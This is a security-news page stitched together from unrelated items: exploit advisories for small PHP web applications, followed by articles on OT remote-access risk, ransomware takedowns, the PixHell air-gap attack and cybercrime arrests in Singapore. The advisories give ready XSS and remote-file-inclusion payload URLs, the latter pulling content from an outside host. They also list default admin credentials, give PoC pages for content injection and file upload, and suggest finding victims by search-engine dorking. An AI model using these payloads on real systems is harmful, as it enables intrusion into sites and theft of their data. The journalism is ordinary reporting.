Passion Responsive Blogging version 1.0 suffers from a cross site scripting vulnerability.

    =============================================================================================================================================| # Title     : Passion Responsive Blogging 1.0 XSS Vulnerability                                                                           || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            || # Vendor    : https://code-projects.org/responsive-blog-site-in-php-with-source-code/                                                     |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] use payload : single.php?id=12'"()%26%25<acx><ScRiPt >prompt(982273)</ScRiPt>[+] https://127.0.0.1com/bmacblog/single.php?id=12%27%22()%26%25%3Cacx%3E%3CScRiPt%20%3Eprompt(982273)%3C/ScRiPt%3EGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Passion Responsive Blogging 1.0 Cross Site Scripting

Online Survey System version 1.0 suffers from cross site scripting and remote file inclusion vulnerabilities.

**Online Survey System 1.0 Cross Site Scripting / Remote File Inclusion**

**Online Survey System 1.0 Cross Site Scripting / Remote File Inclusion**

Posted Sep 11, 2024

Authored by indoushka

Online Survey System version 1.0 suffers from cross site scripting and remote file inclusion vulnerabilities.

tags | exploit, remote, vulnerability, xss, file inclusion

SHA-256 | 0573d4aa4fad74ba21dfae8c95d8a0ef8922ce6bbbf5c65fcd1a8b98424e3d9e

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**Online Survey System 1.0 Cross Site Scripting / Remote File Inclusion**

    =============================================================================================================================================| # Title     : Online Survey System 1.0 XSS Vulnerability                                                                                  || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.sourcecodester.com/sites/default/files/download/oretnom23/simple-online-survey-system_0.zip                     |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Use Payload : /index.php?page=http://testasp.vulnweb.com/t/xss.html%3f%2500.jpg[+] http://127.0.0.1/survey/index.php?page=http://testasp.vulnweb.com/t/xss.html%3f%2500.jpgGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

Online Survey System 1.0 Cross Site Scripting / Remote File Inclusion

Online Birth Certificate System version 1.0 suffers from an ignored default credential vulnerability.

    ====================================================================================================================================| # Title     : Online Birth Certificate System 1.0 Insecure Settings Vulnerability                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://phpgurukul.com/online-birth-certificate-system-using-php-and-mysql/                                        |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload :     Username: admin      Password: Test@123[+] http://127.0.0.1/obcs/admin/dashboard.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

Online Birth Certificate System 1.0 Insecure Settings

Medical Card Generations System version 1.0 suffers from an ignored default credential vulnerability.

    ====================================================================================================================================| # Title     : Medical Card Generations System 1.0 Insecure Settings Vulnerability                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://phpgurukul.com/medical-card-generation-system-using-php-and-mysql/                                         |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload :     Username: admin      Password: Test@123[+] http://127.0.0.1/mcgs/admin/dashboard.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

Medical Card Generations System 1.0 Insecure Settings

Emergency Ambulance Hiring Portal version 1.0 suffer from a WYSIWYG code injection vulnerability.

=============================================================================================================================================  
| # Title     : Emergency Ambulance Hiring Portal 1.0 (WYSIWYG) code injection Vulnerability                                                |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            |  
| # Vendor    : https://phpgurukul.com/emergency-ambulance-hiring-portal-using-php-and-mysql/                                               |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] Part 01 : about-us.php

[+] This payload injects code of your choice into the database via NicEdit is a WYSIWYG editor V: 0.9 r25 which is called inside the file /hms/admin/about-us.php . 

   [+] Line 2  :  Make sure to include your database connection here

[+] Line 44 :  Send the form data using fetch API (Set your target url)

[+] save payload as poc.php in your localhost path .

[+] payload : 

<?php  
include('http://127.0.0.1/eahp/admin/includes/dbconnection.php'); // Make sure to include your database connection here

if (isset($_POST['submit'])) {  
    $pagetitle = $_POST['pagetitle'];  
    $pagedes = $con->real_escape_string($_POST['pagedes']);  
    $query = mysqli_query($con, "UPDATE tblpage SET PageTitle='$pagetitle', PageDescription='$pagedes' WHERE PageType='aboutus'");

    if ($query) {  
        echo '<script>alert("About Us has been updated.")</script>';  
    } else {  
        echo '<script>alert("Something Went Wrong. Please try again.")</script>';  
    }  
    exit;  
}  
?>

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>indoushka | Update About Us Content</title>  
      
    <script src="http://js.nicedit.com/nicEdit-latest.js" type="text/javascript"></script>  
    <script type="text/javascript">  
        // Apply NicEdit to all text areas when the DOM is loaded  
        bkLib.onDomLoaded(nicEditors.allTextAreas);

        // Function to handle form submission using JavaScript  
        function submitForm(event) {  
            event.preventDefault(); // Prevent default form submission

            const pagetitle = document.getElementById('pagetitle').value;  
            const pagedes = nicEditors.findEditor('pagedes').getContent(); // Get the NicEdit content

            // Prepare the form data to be sent  
            const formData = new FormData();  
            formData.append('pagetitle', pagetitle);  
            formData.append('pagedes', pagedes);  
            formData.append('submit', true);

            // Send the form data using fetch API  
            fetch('http://127.0.0.1/eahp/admin/about-us.php', {  
                method: 'POST',  
                body: formData,  
            })  
            .then(response => response.text())  
            .then(data => {  
                alert('About Us content has been updated successfully.');  
                console.log(data); // Handle the response from the server  
            })  
            .catch(error => {  
                console.error('Error:', error);  
            });  
        }  
    </script>  
    <style>  
        /* Center the form container */  
        .editor-container {  
            max-width: 800px;  
            margin: 0 auto; /* Center horizontally */  
            padding: 20px;  
            text-align: center; /* Center the content inside */  
        }

        /* Ensure the textarea takes the full width */  
        #pagedes {  
            width: 100%;  
            height: 300px;  
            margin: 0 auto;  
        }  
    </style>  
</head>  
<body>  
    <div id="app">  
        <div class="app-content">  
            <div class="main-content">  
                <div class="wrap-content container" id="container">  
                      
                    <section id="page-title">  
                        <div class="row">  
                            <div class="col-sm-8">  
                                <h1 class="mainTitle">Update the About Us Content</h1>  
                            </div>

                                                          </li>  
                            </ol>  
                        </div>  
                    </section>  
                      
                    <div class="container-fluid container-fullw bg-white">  
                        <div class="row">  
                            <div class="col-md-12">  
                                  
                                <div class="editor-container">  
                                    <form class="forms-sample" method="post" onsubmit="submitForm(event);">  
                                        <div class="form-group">  
                                            <label for="pagetitle">Page Title</label>  
                                            <input id="pagetitle" name="pagetitle" type="text" class="form-control" required>  
                                        </div>  
                                        <div class="form-group">  
                                            <label for="pagedes">Page Description</label>  
                                              
                                            <textarea class="form-control" name="pagedes" id="pagedes" rows="12"></textarea>  
                                        </div>  
                                        <button type="submit" class="btn btn-primary mr-2" name="submit">Submit</button>  
                                    </form>  
                                </div>  
                            </div>  
                        </div>  
                    </div>  
                      
                </div>  
            </div>  
        </div>  
    </div>  
      
</body>  
</html>

Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Emergency Ambulance Hiring Portal 1.0 WYSIWYG Code Injection

Printable Staff ID Card Creator System version 1.0 suffers from an insecure direct object reference vulnerability.

=============================================================================================================================================  
| # Title     : printable staff id card creator system 1.0 idor Vulnerability                                                               |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            |  
| # Vendor    : https://www.campcodes.com/downloads/printable-staff-id-card-creator-system-source-code/?wpdmdl=6749&refresh=66bbc00367bf91723580419               |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] Insecure direct object reference: Suffering from an insecure direct object reference that allows users to upload and execute remote files. .

[+] Line : 8 Set your Target

[+] Save As poc.html

[+] payload :

<<div class="modal-content" style="font-size: 14px; font-family: Times New Roman;color:black;">  
      <div class="modal-header" style="background:#222d32">  
        <button type="button" class="close" data-dismiss="modal">×</button>  
        <h4 class="modal-title" style="font-weight: bold;color: #F0F0F0"><center>  
          SYSTEM INFORMATION INITIALISATION  
          </center></h4>  
      </div>  
        <form method="post" action="http://127.0.0.1/Staff_registration/upload.php" enctype="multipart/form-data">            

      <div class="modal-body">           
        <center>   
            <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">&nbsp;&nbsp;Org Name:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgname"></span></p>  
              <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;Phone:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgphone"></span></p>  
            <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Email:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgemail"></span></p>  
               <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">&nbsp; &nbsp;&nbsp;&nbsp;Website:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgwebsite"></span></p>  
               <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">Active Year:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgyear"></span></p>  
                  Attach Organisation Logo:(<h7 style="color:red">Make sure it is a transparent image</h7>)<input name="filed" type="file" id="filed">  
                                      <input type="hidden" name="page" value="admin.php">                                                                      
         </center>  
      </div>  
      <div class="modal-footer">  
        <input type="submit" class="btn btn-success" value="Finish" id="addmember" name="orginitial"> &nbsp;  
        <button type="button" class="btn btn-success" data-dismiss="modal">Close</button>  
      </div>  
      </form></div>

    Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Printable Staff ID Card Creator System 1.0 Insecure Direct Object Reference

A veritable grab bag of tools used to access critical infrastructure networks are wildly insecure, and they're blobbing together to create a widening attack surface.

Source: Agencja Fotograficzna Caro via Alamy Stock Photo

The exploding demand for remote access into today's industrial control systems (ICS) and operational technology (OT) systems has created a nebulous, Internet-connected attack surface that's too attractive for cyberattackers to ignore. And cleanup is not going to be a simple affair.

Far too many ICS networks are being accessed by employees, partners, suppliers, and customers using a slapped-together mousetrap of tools, leaving these environments woefully exposed while connected to the Internet, according to researchers.

In a new analysis, Claroty's Team82 looked at 50,000 individual remote access-enabled devices running on industrial networks with dedicated OT hardware, and found 55% to have at least four remote access tools (RATs) in their environments. A full third (33%) reported using six or more RATs. Some organizations reported using up to 16 different of them.

Industries represented in the examples examined by the Team82 researchers included pharmaceuticals, consumer goods, food and beverage, automotive, oil and gas, mining, and manufacturing — many of which are considered critical infrastructure sectors.

"Within critical infrastructure, there is sometimes a bigger physical risk associated with a breach, depending on the jeopardized device," says Tal Laufer, Claroty's vice president of products, secure access. "That being said, all organizations with this type of tool sprawl are at risk, since it can create security gaps in their networks for threat actors to exploit."

Making matters even more complicated for cybersecurity teams, the Team82 report found that 79% of the organizations they surveyed have more than two remote access management tools in their environment that don't meet basic enterprise-grade security standards.

"Most of these tools lack the session recording, auditing, and role-based access controls that are necessary to properly defend an OT environment," the Team82 report said. "Some lack basic security features such as multi-factor authentication (MFA) options, or have been discontinued by their respective vendors and no longer receive feature or security updates."

**Cyberattackers Notice Sprawling OT Remote Access Attack Surface**

Adversaries are already well aware of the malicious possibilities that these remote access tools unlock — and have been for several years.

Laufer notes that several massive breaches in recent years have been the result of misconfigured remote access tools, including Colonial Pipeline in 2021 and Change Healthcare earlier this year.

As far back as 2020, analysts at Kaspersky warned about the risk of cyberattacks against remote access tools like TeamViewer and RMS to breach ICS environments. And in January 2023, CISA joined with the NSA to issue a warning that adversaries were launching widespread campaigns against remote management systems like AnyDesk to breach federal agencies.

Those warnings have played out: A threat actor was discovered attempting to drop XMRing cryptominer malware using TeamViewer in May 2023. Likewise, the remote access tool TeamViewer was targeted in failed attempts to compromise systems by LockBit 3.0 ransomware group in early 2024. Similarly, remote access tool production systems were compromised at AnyDesk last February, forcing the vendor to revoke all of its security clearances and reset all Web portal passwords.

Despite these warnings, ICS/OT operators are in a particularly tough spot without a clear path toward protecting themselves. The Team82 findings demonstrate how the sheer number of these tools can easily pile up within an environment, creating an ever-creeping blob of remote access surface area ripe for adversaries to probe for success. As the report detailed, each tool brings along with it its own supply chain weaknesses, often including a lack of basic, best-practice security features like MFA, auditing, and session recording.

Compounding the issue is a basic lack of monitoring, detection, and policy control tooling that works across disparate remote access systems, leaving them open to misconfigurations, as messy policy and control management, the report added.

The report added that managing all these various RATs, and the hardware behind them, is an expensive operational proposition.

**OT Remote Access Cleanup**

Unsurprisingly, the first step on the path to securing remote access for ICS/OT networks is to get a full inventory of the tools that provide access to OT assets, according to the report.

"A critical first step is ensuring you have complete visibility into your organization’s OT network to understand how many and which solutions are providing access to OT assets and industrial control systems (ICS)," Laufer explains.

Next, those solutions that don't meet basic enterprise cybersecurity requirements need to go — pronto.

"From there, engineers and assets managers need to actively eliminate or minimize the use of low-security remote access tools in the OT environment — especially taking into consideration those with known vulnerabilities or those lacking essential security features such as MFA," the researcher stresses.

It's also crucial to develop and require baseline security standards across the organization's supply chain. "Beyond this, security teams should also govern the use of remote access tools connected to OT and ICS," Laufer says. "This can help with alignment of security requirements and expansion of those requirements as needed throughout third parties within the supply chain."

Don't miss the latest Dark Reading Confidential podcast, where we talk to two cybersecurity professionals who were arrested in Dallas County, Iowa and forced to spend the night in jail -- just for doing their pen-testing jobs. Listen now!

Remote Access Sprawl Strains Industrial OT Network Security

The threat of ransomware hasn't gone away. But law enforcement has struck a blow by adjusting its tactics and taking out some of the biggest adversaries in the ransomware scene.

Source: Andreas Prott via Alamy Stock Photo

COMMENTARY

The year to date has been particularly eventful across the ransomware landscape, with prolific ransomware groups, including LockBit, seeing their operations seized and dismantled. The strategies used to take down these groups were meticulously planned and executed, successfully undermining the most accomplished cybercriminal experts.

The fight against ransomware has for years felt like an uphill battle. Each takedown faces the inevitable criticism that these actions are temporary, resulting in groups reforming and coming back.

However, the past year has seen some of history's biggest takedowns, with international collaborative efforts from law enforcement employing new tactics. Are we seeing the balance of power beginning to shift?

**The Development of Law Enforcement's Strategy**

Law enforcement agencies have had to change their approach to remain successful in an environment where cybercriminal gangs adapt and develop constantly. Although previous takedowns have shown initial success in disrupting gangs on a technical level, law enforcement agencies have recognized the need to go further and think outside of the box.

Adding a twist, ransomware takedown teams are focusing on publicly damaging groups' credibility, acknowledging the fact that reputation and trust are (somewhat counterintuitively) valued commodities on the Dark Web.

Law enforcement's new approach was rolled out with Operation Cronos, the disruption campaign against one of the most prolific ransomware gangs, LockBit.

With a force of 10 countries' law enforcement agencies, the highlights of the takedown included 34 servers being seized, 200 cryptocurrency accounts being frozen, and two arrests taking place, and it didn't stop there.

The National Crime Agency (NCA) deployed psyops methods, using LockBits' own site, which it had hijacked, to publish images of LockBit's administration system and leak internal conversations, while publishing the usernames and login details of 194 LockBit "affiliate" members. Then, the unmasking of "LockBitSupp" — the gang's leader — was teased with a countdown timer on the LockBit website, eventually naming him as Dmitry Khoroshev. Law enforcement also implied that he had collaborated with them by leaking the affiliate's details, creating more doubt among Dark Web associates. 

When logging in to their systems, LockBit members were greeted with personalized messages stating that the authorities had details regarding their IP addresses, cryptocurrency wallet details, internal chats, and their personal identity.

Law enforcement's strategy undermined LockBit's reputation and emphasized its fragility. Hijacking the website exposed infrastructure weaknesses, unmasking LockBit's leader proved he had weak operations security, and leaking the affiliates demonstrated the risks of associating with LockBit. These methods dethroned LockBit's reputation further. Although the group is still active, recent data shows that the average number of monthly LockBit attacks in the UK has reduced by 73% since February.

**The Snowball Effect in the Dark Web Community**

The LockBit takedown has caused a ripple effect and garnered a lot of attention across the ransomware landscape, eliciting the message that if LockBit can be taken down, anyone could be next. Targeting the biggest ransomware group was law enforcement's message that no group is beyond its reach.

Two weeks later, BlackCat, the second biggest ransomware group, claimed to have been disrupted by law enforcement, even uploading a fake seizure banner. However, law enforcement quickly denied its involvement. In fact, the group appears to have closed itself down after stealing a large sum of money from its affiliate, following a ransomware attack on Change Healthcare. The timing of BlackCat's retirement suggests a potential reaction to the LockBit takedown, showing a newfound sense of fear on the Dark Web.

**What Comes Next?**

Disrupting some of the world's most dangerous and prolific ransomware groups such as LockBit and BlackCat, which have dominated the ransomware landscape in recent years, is a huge achievement. 

Of course, these successes have not immediately led to the collapse of the ransomware underground. In fact, our statistics show that there were 73 ransomware groups in operation in the first half 2024 compared with the same period for 2023, representing a 56% increase in the number of ransomware groups. 

However, although there are more groups, we have seen a 16% decrease in victims listed between the second half of 2023 and the first half of 2024, which suggests that taking on the big groups with new tactics has had a measurable impact. It appears that what we are actually observing is a diversification — rather than growth — in the ransomware landscape.

A recent Europol report also highlighted a fragmentation of the ransomware landscape. While the threat is no longer coming primarily from a group of three to four dominant ransomware-as-a-service (RaaS) groups, the affiliates who led a mass exodus have started their own operations, developing their own ransomware tooling and lessening their reliance on the big players. 

This creates its own challenges for security professionals. A more diverse ransomware ecosystem means a more diverse landscape for cybersecurity teams to navigate. As things move quickly in the ransomware world, collecting up-to-date intelligence on ransomware groups is more important than ever before.

The threat of ransomware hasn't gone away. However, law enforcement has certainly struck a blow by adjusting its tactics and has potentially created some breathing room for security professionals by taking out some of the biggest adversaries in the ransomware scene.

**About the Author**

CTO & Co-founder, Searchlight Cyber

Dr. Gareth Owenson is the CTO and co-founder of the Dark Web intelligence company Searchlight Cyber. Gareth completed his Ph.D. in computer science in 2007 and is a world leader in Tor Dark Web research. He advises governments, military, and law enforcement on Dark Web technologies and guides the development of a suite of technologies that have put Searchlight Cyber in the forefront of Dark Web investigative and intelligence efforts. Gareth co-founded Searchlight Cyber in 2017 to help governments, law enforcement, and enterprises in the fight to protect society from threats that emanate from the Dark Web.

How Law Enforcement's Ransomware Strategies Are Evolving

In the "PixHell" attack, sound waves generated by pixels on a screen can transmit information across seemingly impenetrable air gaps.

Source: Miscellaneoustock via Alamy Stock Photo

A newly devised covert channel attack method could undermine diligently devised air gaps at highly sensitive organizations.

In industrial control systems security, the term "air gap" is contested. It typically describes a total physical separation between networks — a literal gap through which no Wi-Fi signals, wires, etc., can pass. The most critical military, government, and industrial sites use air gaps to prevent Internet-based cyber threats from penetrating the kinds of networks that protect state secrets and human lives.

But any medium capable of transmitting information can, in theory, be weaponized to transmit the bad kind. Mordechai Guri of Israel's Ben-Gurion University has long researched ways of crossing air gaps with sound waves: via computer fans, hard disk drives, CD/DVD drives, and more. His latest attack scenario, "Pixhell," enables data theft using sounds produced by specially generated, rapidly shifting bitmap patterns on an LCD screen.

**How Pixhell Works**

It's midnight, and everyone working at the top secret intelligence facility has long gone home for the night, when all of a sudden a computer screen flashes with what appears to be random noise, as if it's missing a signal. It isn't missing a signal — the apparent noise is the signal.  

Pixhell only works if an attacker can infect or control at least one device on each side of an air gap.

Air gaps typically connect critical networks with less critical networks, so the latter half of that job might be achieved by an Internet-based attack, while the former will require more stringent measures. Still, a machine behind an air gap can be infected in any number of ways: via supply chain compromise, a removable drive in the hands of a malicious or unwitting insider, or assorted other options.

Then, with no other obvious means of communicating — not Wi-Fi, Bluetooth, a speaker, or anything else — a computer can be made to transmit information over an air gap via the sounds generated by its screen.

Simplified, LCD screens have capacitors — which store and release electrical charge — and inductors — which help manage the voltage to those capacitors. While they're working, these components generate the faintest of high-pitched frequencies, inaudible to the human ear.

However, "Speakers and microphones generally have a frequency range that is broader than human hearing," explains Andrew Ginter, vice president of industrial security at Waterfall Security Solutions. "The high end of the frequency range is where you can encode the greatest amount of information — the largest number of bits per second — and it's ultrasound. Dogs might freak out in the room, but humans can't hear it."

In experiments, the Pixhell malware manipulated pixels on a screen in such a way as to cause its inductors and capacitors to vibrate at specific frequencies. In so doing, they generated sound waves translating stolen, encoded data to the machine on the other side of an air gap, with varying fidelity at distances of up to two and a half meters. As Ginter puts it, "An attacker can send information from either computer to the other's microphone, and you can be sitting in the room and not realize information is being communicated."

**The Wide World of Covert Channel Attacks**

Besides acoustics, there are any number of other, equally creative means to carry out covert channel attacks in theory.

"It's been reported that with sufficient effort, you can use Ethernet wiring as software-defined radio transmitters and receivers," Ginter notes. Some 20 years ago, 56-kilobit-per-second modems had an LED on the front so users could see if their data was moving. Ginter says you could turn the LED on when there was a one bit being transmitted, or off when it was a zero bit. "And it turned out that the LED was extremely responsive — so responsive that if you had a fast enough camera or detector, you could actually detect every bit that was being sent through the modem by watching the LED," he adds. 

Countless other fun examples can be found in the annals of computer research archives. "Some computers have the ability to do detailed measurements on the voltage that's coming into the battery. And what that means is that if you have two computers plugged into the same circuit, even if they're using different outlets, one computer can consume more power briefly and less power a fraction of a second later, and the other one can detect these very tiny changes in voltage, so they can signal to each other that way. Even though they're electrically connected to different networks, they're both connected to the same power," he explains.

**What the Best Air Gaps Look Like**

For the overwhelming majority of organizations, a physical air gap is sufficient to protect against even high-level adversaries, who aren't likely to pull off Pixhell-style attacks.

Those few most sensitive sites on the planet that have to worry about covert channel attacks — spy agencies, military headquarters, power plants — have already dedicated significant time and resources to building not just air gaps, but air gaps that make these scenarios impractical.

"At some extremely sensitive OT sites, they will have all of the OT equipment in one server room, and they'll have the IT equipment in another server room down the hall. And the only connection between the server rooms is a single fiber-optic connection that is a unidirectional gateway from OT to IT," Ginter explains.

Past that, he adds, the greater the distance between communicating computers, the more difficult it is to exploit covert channels. "If it's an electrical \[channel you're worried about\], you've got electrical noise between rooms. If it's audible, there are closed doors in the way. If it's temperature, you can heat up the room in a region very slightly \[at intervals\], so there's so much thermal noise that it becomes impractical to send any information out." The operative idea is signal-to-noise ratio (SNR): How much noise does one have to generate to make a covert channel attack impractical?

Whether such science-fiction-level defenses are warranted will depend on the organization at risk. "Some of the countermeasures were given for scientific discussion, but they are less practical to deploy in real life," Guri says. As an example, he points out that acoustic jammers would stop Pixhall right in its tracks: "Such a noise jammer may work in countering the attack, but it will make the environment too noisy for people to work."

Don't miss the latest Dark Reading Confidential podcast, where we talk to two cybersecurity professionals who were arrested in Dallas County, Iowa and forced to spend the night in jail -- just for doing their pen-testing jobs. Listen now!

**About the Author**

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Air-Gapped Networks Vulnerable to Acoustic Attack via LCD Screens

The Singapore Police Force (SPF) has announced the arrest of five Chinese nationals and one Singaporean man for their alleged involvement in illicit cyber activities in the country.
The development comes after a group of about 160 law enforcement officials conducted a series of raids on September 9, 2024, simultaneously at several locations.
The six men, aged between 32 and 42, are suspected of

The Singapore Police Force (SPF) has announced the arrest of five Chinese nationals and one Singaporean man for their alleged involvement in illicit cyber activities in the country.

The development comes after a group of about 160 law enforcement officials conducted a series of raids on September 9, 2024, simultaneously at several locations.

The six men, aged between 32 and 42, are suspected of being linked to a "global syndicate" that conducts malicious cyber activities. Pursuant to the operation, electronic devices and cash were seized.

Among those apprehended includes a 42-year-old Chinese national from Bidadari Park Drive, who was found to be in possession of a laptop that contained credentials to access web servers used by known hacker groups. The identities of the threat actors were not disclosed.

In addition, five laptops, six mobile phones, cash totaling more than S$24,000 (USD$18,400), and cryptocurrency worth approximately USD$850,000 were confiscated from the individual.

Three other Chinese nationals, arrested from Mount Sinai Avenue, are said to have been possessing laptops containing personal information related to foreign internet service providers, hacking tools, and "specialized software to control malware" such as PlugX, a remote access trojan widely used by Chinese state-sponsored groups.

The authorities also seized seven laptops, 11 mobile phones, and cash worth more than S$54,600 (USD$41,900) from the three men.

Another 38-year-old Chinese national was arrested from Cairnhill Road over suspicions of "offering to purchase personally identifiable information that was believed to have been obtained through illegal means."

The sixth person, a 34-year-old Singaporean national residing in Hougang Avenue, is believed to have assisted the others in their malicious activities.

The defendants have been charged with offenses under the Computer Misuse Act 1993 for gaining unauthorized access to computer material, retaining personal information without authorization, and retaining software that could be used to commit other malicious attacks.

The Singaporean national has also been charged with abetting the securing of unauthorized access to websites, an offense that's punishable with a fine of up to S$5,000 (USD$3,830), or a jail term of up to two years, or both, for a first-time offender.

Channel News Asia has reported that a sixth Chinese national was also subsequently arrested on Wednesday for instructing the Singapore man to subscribe to a Singtel broadband plan.

"This is a significant operation as the individuals are suspected to be carrying out global malicious cyber operations from Singapore," the SPF said. "We have zero tolerance of the use of Singapore to conduct criminal activities, including illegal cyber activities. We will deal severely with perpetrators."

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